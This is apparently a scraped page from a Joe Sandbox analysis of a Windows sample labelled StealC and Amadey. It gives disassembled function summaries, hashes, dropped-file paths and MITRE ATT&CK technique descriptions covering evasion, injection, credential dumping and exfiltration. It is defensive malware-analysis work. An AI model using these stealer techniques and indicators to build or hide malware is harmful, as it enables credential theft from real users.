Function 6CB00DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CB00DF5
TlsGetValue.KERNEL32 ref: 6CB00E2D
TlsGetValue.KERNEL32 ref: 6CB00E58
TlsGetValue.KERNEL32 ref: 6CB00E84

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 18f787c7e1643de4eda393da927dce499a1bcb2cc32e2f8c325d84ba3cfe39f9
Instruction ID: 0510782ef36c87e31ab87d0c75e009b582c1333aba7258da91171e6182e11d5f
Opcode Fuzzy Hash: 18f787c7e1643de4eda393da927dce499a1bcb2cc32e2f8c325d84ba3cfe39f9
Instruction Fuzzy Hash: E531A1B0B547C1CBDB106F3CE9852697BB8FF0A348F11866DD89897A11EB359485CB82

Function 6CB00F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CAA2AF5,?,?,?,?,?,6CAA0A1B,00000000), ref: 6CB00F1A
malloc.MOZGLUE(00000001), ref: 6CB00F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CB00F42
TlsGetValue.KERNEL32 ref: 6CB00F5B

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: f4496958b1220e15a9f896b4f94bd1121cf808aad3ab5bf036d57ac22a383c93
Instruction ID: 6bb7b903a42671d8fb12c59f4a2bbf1e00e9a68f9c0682e664d88cfcdea3f337
Opcode Fuzzy Hash: f4496958b1220e15a9f896b4f94bd1121cf808aad3ab5bf036d57ac22a383c93
Instruction Fuzzy Hash: 380124B1B006C05BEB102F3EAE4456A7FACEF52299B014165ED1CC3A21EB31C849C2E2

Function 6CAB1EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CAB1ECE
free.MOZGLUE(?), ref: 6CAB1EDF
free.MOZGLUE(?), ref: 6CAB1EEF
free.MOZGLUE(?), ref: 6CAB1EF5

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 60d63393a0d0e272994483de433c96c92df3a69a658de83d0299e60376b53787
Instruction ID: 1ba2ebe80350c731ea48b81c45e690334795661b8c6164a69ea68177d8486d96
Opcode Fuzzy Hash: 60d63393a0d0e272994483de433c96c92df3a69a658de83d0299e60376b53787
Instruction Fuzzy Hash: C9F0B4B17001016BEB109B65EC49D37737CEF45694B180435ED19D3A00D735F4A0C6A1

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AECAECFCAAEBFHIEHDGH

C:\ProgramData\BAKEBFBAKKFCBGDHDGHD

C:\ProgramData\BKKJKFBKKECFHJKEBKEHIDAEBK

C:\ProgramData\FHIDBKFCAAEBFIDHDBAECFIEGC

C:\ProgramData\GIIIIJDH

C:\ProgramData\HCAEHJJKFCAAFHJKFBKK

C:\ProgramData\IEGCBFHJ

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre